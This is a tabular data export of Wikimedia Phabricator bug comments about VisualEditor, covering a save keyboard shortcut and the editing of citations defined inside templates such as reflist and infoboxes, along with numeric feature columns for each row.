241616,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",This seems similar to bug 38042. They're not identical but definitely related and they could possibly be usefully fixed at the same time.,,,1374417351,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.423076923076923,0.9615384615384616,This seems similar to bug 38042. They're not identical but definitely related and they could possibly be usefully fixed at the same time.
241609,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","**sk8er_97456** wrote:

In the old editor, I would simply use TAB to reach the edit summary, type my edit summary and press ENTER to activate the ""Save page"" button and save. If I wanted to mark the edit minor, then I could type my edit summary, press TAB, SPACE, and then ENTER to ""Save page"".

I can see that the new box for entering an edit summary allows newlines to be entered. I am not sure this is a good idea, because I just used a WSYIWYG editor and now ""What I see"" - well-formatted paragraphs describing my edit - is not going to be ""what I get"" - everything smashed on one line in the article history. But that is perhaps grist for another bug mill.

It seems that the ""Save page"" button never receives caret focus if I use TAB to try to get there. This would seem to have accessibility ramifications.",,,1373480495,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,1,,0.0,0.5,0.0,0.5,1.0,3.0,1.0,0.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,6.0,0.5,6.0,10.0,0.5,4.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,1.0,0.5,6.0,1.0,0.5,0.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,16.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,2.5,2.5,7.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,6.5,10.0,4.0,0.0,5.0,0.0,6.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,3.526595744680851,0.6436170212765957,"**sk8er_97456** wrote:

In the old editor, I would simply use TAB to reach the edit summary, type my edit summary and press ENTER to activate the ""Save page"" button and save. If I wanted to mark the edit minor, then I could type my edit summary, press TAB, SPACE, and then ENTER to ""Save page"".

I can see that the new box for entering an edit summary allows newlines to be entered. I am not sure this is a good idea, because I just used a WSYIWYG editor and now ""What I see"" - well-formatted paragraphs describing my edit - is not going to be ""what I get"" - everything smashed on one line in the article history. But that is perhaps grist for another bug mill.

It seems that the ""Save page"" button never receives caret focus if I use TAB to try to get there. This would seem to have accessibility ramifications."
241604,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",I think taking over ctrl-s/⌘-s which is already used by every browser for a different task (local save of rendered HTML) is a bit rude; I'd suggest just implementing the same keyboard shortcut.,,,1373230813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,3.8333333333333335,0.9285714285714286,I think taking over ctrl-s/⌘-s which is already used by every browser for a different task (local save of rendered HTML) is a bit rude; I'd suggest just implementing the same keyboard shortcut.
52896,VisualEditor: Support editing citations defined within a template,"For example, look at https://en.wikipedia.org/w/index.php?title=Peach_Springs_Trading_Post&oldid=563257259&veaction=edit.

Citation [1] is defined inside the infobox template. It is then reused at the end of the first paragraph, but when you click the [1] there, you get an inspector with the message: ""This reference is defined in a template or generated block and for now can be only edited in source mode.""

This also comes up when citations are defined within a template like `{{reflist}}`, as at https://en.wikipedia.org/w/index.php?title=Helminthopsis&oldid=592365854.

**See Also**:
T53289",Medium,50.0,1373224920,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yhjup2iu6lr4ysgs743l,task_description,open,True,c1,3,True,False,,0,,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,7.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,14.0,3.0,0.0,2.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,3.515151515151515,0.6767676767676768,"For example, look at URL

Citation [1] is defined inside the infobox template. It is then reused at the end of the first paragraph, but when you click the [1] there, you get an inspector with the message: ""This reference is defined in a template or generated block and for now can be only edited in source mode.""

This also comes up when citations are defined within a template like CODE, as at URL

**See Also**:
T53289"
2250462,VisualEditor: Support editing citations defined within a template,"@Pginer-WMF That seems like a different problem. The bug here is that editing //references defined within a template// doesn't work, and VisualEditor recognizes this and mostly prevents them from being messed up. The other bug is confusing, but it seems that ContentTranslation has some issues with //templates used inside references//, and it //doesn't// recognize this situation and messes up the markup as a result.",,,1703172513,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,True,,,546,,1.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,12.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,4.0,10.0,3.0,7.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,14.0,4.0,0.0,0.0,0.0,5.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,4.917808219178082,0.7671232876712328,"SCREEN_NAME-WMF That seems like a different problem. The bug here is that editing //references defined within a template// doesn't work, and VisualEditor recognizes this and mostly prevents them from being messed up. The other bug is confusing, but it seems that ContentTranslation has some issues with //templates used inside references//, and it //doesn't// recognize this situation and messes up the markup as a result."
2247817,VisualEditor: Support editing citations defined within a template,I also received complaints from editors at Russian Wikipedia that this behavior greatly interferes with their work.,,,1702660838,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,True,,,545,,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,I also received complaints from editors at Russian Wikipedia that this behavior greatly interferes with their work.
2246875,VisualEditor: Support editing citations defined within a template,"Sharing a recent comment from a user on a ticket where this issue manifests in Content Translation since it uses the Visual Editor editing surface:

>>! In T213277#9403536, @Framawiki wrote:
> This bug is really the worst of the ones opened on #contenttranslation in my opinion, given the time spent by all the volunteer contributors who have to go back behind a translation to try and reformat the translations that have been substituted. It literally freezes the citation in a version that can't be edited later, except if somebody spend some time to fill a template. Not good to have such non-editable stuff in our wikis !
> 
> It still happens regularly in 2023, I have a script that at least removes unnecessary categories added when substituting citation templates. Check out ""untranslated category"" (""catégorie non traduite"") in my bot's list of [[ https://fr.wikipedia.org/w/index.php?title=Sp%C3%A9cial:Contributions&end=&namespace=0&start=&tagfilter=&target=Framabot&offset=&limit=100 | recent contributions ]], ie [[ https://fr.wikipedia.org/w/index.php?title=Rowland_Prothero&diff=prev&oldid=210406768 ]]. I can just remove the category shown in red in the article, there is no automatic way to reverse the template substitution (except spend some days with regexes for low success..)
",,,1702544238,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,545,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,26.0,6.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,17.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,6.0,0.0,0.0,0.0,4.257142857142857,0.7714285714285715,"Sharing a recent comment from a user on a ticket where this issue manifests in Content Translation since it uses the Visual Editor editing surface:

QUOTE
QUOTE
QUOTE
QUOTE
"
1715428,VisualEditor: Support editing citations defined within a template,"This is discussed in hewiki village pump: https://he.wikipedia.org/w/index.php?title=%D7%95%D7%99%D7%A7%D7%99%D7%A4%D7%93%D7%99%D7%94:%D7%9E%D7%96%D7%A0%D7%95%D7%9F&oldid=31292360#%D7%94%D7%A2%D7%95%D7%A8%D7%9A_%D7%94%D7%97%D7%96%D7%95%D7%AA%D7%99_%D7%9C%D7%90_%D7%A2%D7%95%D7%91%D7%93_%D7%A2%D7%9D_{{%D7%94%D7%A2%D7%A8%D7%94%7C...}}

To summarize the discussion there:
* (background) hewiki is written in Hebrew, and Hebrew is right to left language. Using tags such as <ref> is not behaving nicely to the source editor as ""ref"" is all latin characters that force LTR, and there is no support translated tags ( T30980 ) 
* Editors who use source editor commonly replace <ref> to template {{הערה}} which is basically {{#tag:ref}}. Editors who use VisualEditor complain this breaks reference editing, because VE lacks proper support for references defined in templates",,,1619846278,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,408,,0.5,0.0,0.0,1.0,0.5,3.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,17.0,1.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,1.0,4.0,7.5,1.0,1.5,4.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,7.0,6.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,2.0,3.9689317821258596,0.7887361184558435,"This is discussed in hewiki village pump: URL

To summarize the discussion there:
* (background) hewiki is written in Hebrew, and Hebrew is right to left language. Using tags such as <ref> is not behaving nicely to the source editor as ""ref"" is all latin characters that force LTR, and there is no support translated tags ( T30980 ) 
* Editors who use source editor commonly replace <ref> to template {{הערה}} which is basically {{#tag:ref}}. Editors who use VisualEditor complain this breaks reference editing, because VE lacks proper support for references defined in templates"
1379439,VisualEditor: Support editing citations defined within a template,"Based on [[ https://www.mediawiki.org/w/index.php?title=Topic:V8rwlqoii9ylxtl2&topic_showPostId=v9x2up7pdri3gj9e&fromnotif=1#flow-post-v9x2up7pdri3gj9e | this conversation ]] with a Content translation user, [[ https://en.wikipedia.org/wiki/Outreachy | Outreachy ]] is another good example article for this kind of issue, where most references are defined inside a ""reflist"" template.",,,1572174420,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,329,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,7.0,3.8260869565217392,0.7391304347826086,"Based on [[ URL | this conversation ]] with a Content translation user, [[ URL | Outreachy ]] is another good example article for this kind of issue, where most references are defined inside a ""reflist"" template."
1291088,VisualEditor: Support editing citations defined within a template,"To slightly restate the suggestion, a good starting goal would be for the content of a reference to be editable in cases where VE is able to identify the reference and open the Reference dialog. This essentially requires being able to figure out how to edit the element that now ""only can be editing in source mode"". ",,,1559320456,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,308,,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,11.0,8.0,6.0,3.0,2.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,4.193548387096774,0.7580645161290323,"To slightly restate the suggestion, a good starting goal would be for the content of a reference to be editable in cases where VE is able to identify the reference and open the Reference dialog. This essentially requires being able to figure out how to edit the element that now ""only can be editing in source mode"". "
1290928,VisualEditor: Support editing citations defined within a template,"This ticket focuses on improving the support for references defined inside any template.
References defined inside the [[ https://en.wikipedia.org/wiki/Template:Reflist | Reflist template ]] seems one of the most prominent instances of the problem. So maybe it is worth focusing on fixing this particular case if that is simpler than finding a generic solution that works for all kinds of templates.

Based on [[ https://ca.wikipedia.org/w/index.php?title=Tema:Uwf7s3n1s8391x6a&topic_showPostId=v0movrdn2phc2ww8#flow-post-v0movrdn2phc2ww8 | reports from en editor ]] about a problematic translation I found [[ https://en.wikipedia.org/wiki/The_Deer%27s_Cry_(P%C3%A4rt) | The Deer's Cry (Pärt) ]] a good example article where most references cannot be edited with Visual Editor because the are defined inside the list of references:

{F29284489, size=full}",,,1559307018,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,308,,1.0,0.0,0.0,1.5,1.0,5.5,1.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,11.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,0.0,4.0,1.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,15.5,0.5,1.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,6.5,2.5,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,11.5,5.0,0.0,0.0,0.0,1.5,0.0,1.5,2.0,0.0,2.0,0.5,1.5,2.0,4.084615384615384,0.7923076923076924,"This ticket focuses on improving the support for references defined inside any template.
References defined inside the [[ URL | Reflist template ]] seems one of the most prominent instances of the problem. So maybe it is worth focusing on fixing this particular case if that is simpler than finding a generic solution that works for all kinds of templates.

Based on [[ URL | reports from en editor ]] about a problematic translation I found [[ URL | The Deer's Cry (Pärt) ]] a good example article where most references cannot be edited with Visual Editor because the are defined inside the list of references:

{F29284489, size=full}"
1184469,VisualEditor: Support editing citations defined within a template,"This limitation has been reported several times in the context of [[ https://www.mediawiki.org/wiki/Content_translation | Content translation ]]. In this case, the main limitation is that Content Translation cannot transfer those references from the source article into the translation, when adding a paragraph with references to translate. So more than being able to edit existing references (which would be great, but may be less common) here the issue is that these references are gone.

In addition, Content translation only supports the visual mode, users cannot switch to wikitext mode as a workaround there. The specific Content translation issue is captured in {T209266} for more details. ",,,1543310095,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,282,,0.5,0.0,0.0,2.0,1.5,7.0,3.5,0.0,0.0,0.0,3.5,0.0,0.0,1.0,0.0,0.0,0.0,5.5,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.5,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,0.0,0.0,13.0,0.0,3.5,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.0,5.5,7.5,2.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,1.0,2.0,0.0,0.5,4.445134849286092,0.8049973558963511,"This limitation has been reported several times in the context of [[ URL | Content translation ]]. In this case, the main limitation is that Content Translation cannot transfer those references from the source article into the translation, when adding a paragraph with references to translate. So more than being able to edit existing references (which would be great, but may be less common) here the issue is that these references are gone.

In addition, Content translation only supports the visual mode, users cannot switch to wikitext mode as a workaround there. The specific Content translation issue is captured in {T209266} for more details. "
577376,VisualEditor: Support editing citations defined within a template,"Why isn't this given a higher priority, and/or assigned to someone? This issue affects every article that has an infobox with one or more citations, and that's a VERY large number, and continually increasing - and a high percentage of the most viewed articles DO have infoboxes.

More importantly, this isn't just an issue of problems with reuse: having a citation/footnote in a template such as an infobox also disrupts the numbering system for footnotes - the numbering that what appears in the body of an article, when in VE editing mode, //doesn't match //the list of footnotes shown in VE editing mode. That's obviously a source of confusion to those doing editing; again, this certainly affects thousands of articles, and quite probably tens of thousands. 

We //want// as much information as possible in Wikipedia articles to have inline supporting sources, and infoboxes are extremely popular (and helpful to readers). But the combination - citations inside templates such as infoboxes - is currently disruptive when editing using VE. That should be fixed.",,,1449854974,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,127,,1.0,0.5,1.0,0.5,1.0,5.5,1.5,0.0,0.0,0.0,4.5,1.5,0.0,0.0,0.0,0.5,1.0,10.0,12.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,6.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.5,0.0,19.0,3.5,1.0,0.0,2.0,0.0,0.5,0.0,0.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,2.5,6.5,2.0,4.5,12.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,12.0,3.5,0.5,0.0,0.0,0.5,0.0,2.5,5.0,0.0,3.0,1.5,0.5,0.0,4.47,0.7,"Why isn't this given a higher priority, and/or assigned to someone? This issue affects every article that has an infobox with one or more citations, and that's a VERY large number, and continually increasing - and a high percentage of the most viewed articles DO have infoboxes.

More importantly, this isn't just an issue of problems with reuse: having a citation/footnote in a template such as an infobox also disrupts the numbering system for footnotes - the numbering that what appears in the body of an article, when in VE editing mode, //doesn't match //the list of footnotes shown in VE editing mode. That's obviously a source of confusion to those doing editing; again, this certainly affects thousands of articles, and quite probably tens of thousands. 

We //want// as much information as possible in Wikipedia articles to have inline supporting sources, and infoboxes are extremely popular (and helpful to readers). But the combination - citations inside templates such as infoboxes - is currently disruptive when editing using VE. That should be fixed."
241578,VisualEditor: Support editing citations defined within a template,"(In reply to John Broughton from comment #1)
> This should NOT be a low priority. It's quite common for an article to have
> ALL references inside a template - see, for example,
> https://en.wikipedia.org/wiki/Helminthopsis . 
> 
> At the moment, VE is able to figure out that the citation information is
> elsewhere - a tooltip appears that says ""This reference is defined in a
> template or other generated block, and for now can be only edited in source
> mode."" If VE can figure that out

We figure that out because we can tell that there's no actual reference on the page, so presumably it was made with a hack.

>, then it should be able to perform the following three additional steps:

This doesn't actually follow.


> * Check if the information is in the {{reflist}} template (match the ""ref
> name="" parameter in the body of the text to a ref name parameter within the
> reflist template)

No. That would require making up a list of hack templates that each wiki uses, which is a WONTFIX if ever there was one. See instead bug 51260 which will mean we can get rid of this class of template hacks once and for all.
 
> * If a match is found, pull the relevant citation information from the
> reflist template, allowing the user to edit it

Again, this would require a list of hack extraction approaches for each of the hack templates. WONTFIX. Sorry, but these templates are ghastly abominations and should have been strangled at birth.

> * After the edit is finished, put the (modified) citation information back
> into the reflist template

That requires magic psychic modification of wikitext. Yet again, WONTFIX. Sorry.


> (Side note: for edit conflict purposes, this is an edit of the section where
> the reflist template is located, not where the footnote label exists within
> the body of the text).

You are mistaken about how edit conflict detection works. Sections don't come into it. See endless suggestions and bugs passim where this myth has been disproven.

> If VE is NOT modified to allow users to edit such references/citations,
> users are going to be (randomly) frustrated because they can't edit any
> footnotes in some articles using VE (see above) and because in some articles
> (https://en.wikipedia.org/wiki/Pope_Francis , for example), there are
> occasional footnotes that aren't editable in VE.

Or, alternatively, we could dump the stupid templates that make it harder for users even using wikitext to know what on Earth is happening, and instead use the wikitext the way it was designed, without resorting to hacks of doom?",,,1402685083,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,True,,,49,,1.0,0.0,0.0,1.3333333333333333,0.6666666666666666,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,5.666666666666667,10.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,1.0,1.0,0.0,4.666666666666667,1.3333333333333333,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,1.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,15.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.0,3.0,15.333333333333334,2.3333333333333335,2.0,7.333333333333333,0.0,0.0,0.0,0.3333333333333333,4.333333333333333,0.6666666666666666,1.0,0.0,3.0,10.0,6.333333333333333,0.3333333333333333,0.0,0.0,3.0,0.0,2.3333333333333335,1.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.913879598662207,0.6972049689440993,"(In reply to John Broughton from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We figure that out because we can tell that there's no actual reference on the page, so presumably it was made with a hack.

QUOTE

This doesn't actually follow.


QUOTE
QUOTE
QUOTE

No. That would require making up a list of hack templates that each wiki uses, which is a WONTFIX if ever there was one. See instead bug 51260 which will mean we can get rid of this class of template hacks once and for all.
 
QUOTE
QUOTE

Again, this would require a list of hack extraction approaches for each of the hack templates. WONTFIX. Sorry, but these templates are ghastly abominations and should have been strangled at birth.

QUOTE
QUOTE

That requires magic psychic modification of wikitext. Yet again, WONTFIX. Sorry.


QUOTE
QUOTE
QUOTE

You are mistaken about how edit conflict detection works. Sections don't come into it. See endless suggestions and bugs passim where this myth has been disproven.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Or, alternatively, we could dump the stupid templates that make it harder for users even using wikitext to know what on Earth is happening, and instead use the wikitext the way it was designed, without resorting to hacks of doom?"
241573,VisualEditor: Support editing citations defined within a template,"This should NOT be a low priority. It's quite common for an article to have ALL references inside a template - see, for example, https://en.wikipedia.org/wiki/Helminthopsis . 

At the moment, VE is able to figure out that the citation information is elsewhere - a tooltip appears that says ""This reference is defined in a template or other generated block, and for now can be only edited in source mode."" If VE can figure that out, then it should be able to perform the following three additional steps:

* Check if the information is in the {{reflist}} template (match the ""ref name="" parameter in the body of the text to a ref name parameter within the reflist template)

* If a match is found, pull the relevant citation information from the reflist template, allowing the user to edit it

* After the edit is finished, put the (modified) citation information back into the reflist template

(Side note: for edit conflict purposes, this is an edit of the section where the reflist template is located, not where the footnote label exists within the body of the text).

If VE is NOT modified to allow users to edit such references/citations, users are going to be (randomly) frustrated because they can't edit any footnotes in some articles using VE (see above) and because in some articles (https://en.wikipedia.org/wiki/Pope_Francis , for example), there are occasional footnotes that aren't editable in VE.",,,1402684730,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-yhjup2iu6lr4ysgs743l,task_subcomment,,True,c1,3,False,,,49,,1.3333333333333333,0.0,0.0,2.0,1.6666666666666667,4.333333333333333,2.0,0.6666666666666666,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,5.333333333333333,13.333333333333334,0.0,2.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,5.333333333333333,1.6666666666666667,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,9.333333333333334,5.333333333333333,6.666666666666667,3.0,1.0,12.333333333333334,0.0,0.0,0.0,0.0,6.0,0.0,0.6666666666666666,0.0,1.3333333333333333,13.333333333333334,2.0,0.0,1.3333333333333333,0.0,1.3333333333333333,0.0,1.3333333333333333,2.6666666666666665,0.0,1.3333333333333333,0.0,0.0,0.0,3.9013811123553563,0.6111235535647629,"This should NOT be a low priority. It's quite common for an article to have ALL references inside a template - see, for example, URL . 

At the moment, VE is able to figure out that the citation information is elsewhere - a tooltip appears that says ""This reference is defined in a template or other generated block, and for now can be only edited in source mode."" If VE can figure that out, then it should be able to perform the following three additional steps:

* Check if the information is in the {{reflist}} template (match the ""ref name="" parameter in the body of the text to a ref name parameter within the reflist template)

* If a match is found, pull the relevant citation information from the reflist template, allowing the user to edit it

* After the edit is finished, put the (modified) citation information back into the reflist template

(Side note: for edit conflict purposes, this is an edit of the section where the reflist template is located, not where the footnote label exists within the body of the text).

If VE is NOT modified to allow users to edit such references/citations, users are going to be (randomly) frustrated because they can't edit any footnotes in some articles using VE (see above) and because in some articles (URL , for example), there are occasional footnotes that aren't editable in VE."
52895,VisualEditor: Inspector widget should not stay open when moving the cursor to similar annotation,"This happens with the Link annotation, but also happened to me with my Language annotation prototype when I play with it.

Steps to view the problem:
1. Go to some link in the text, put the cursor on it.
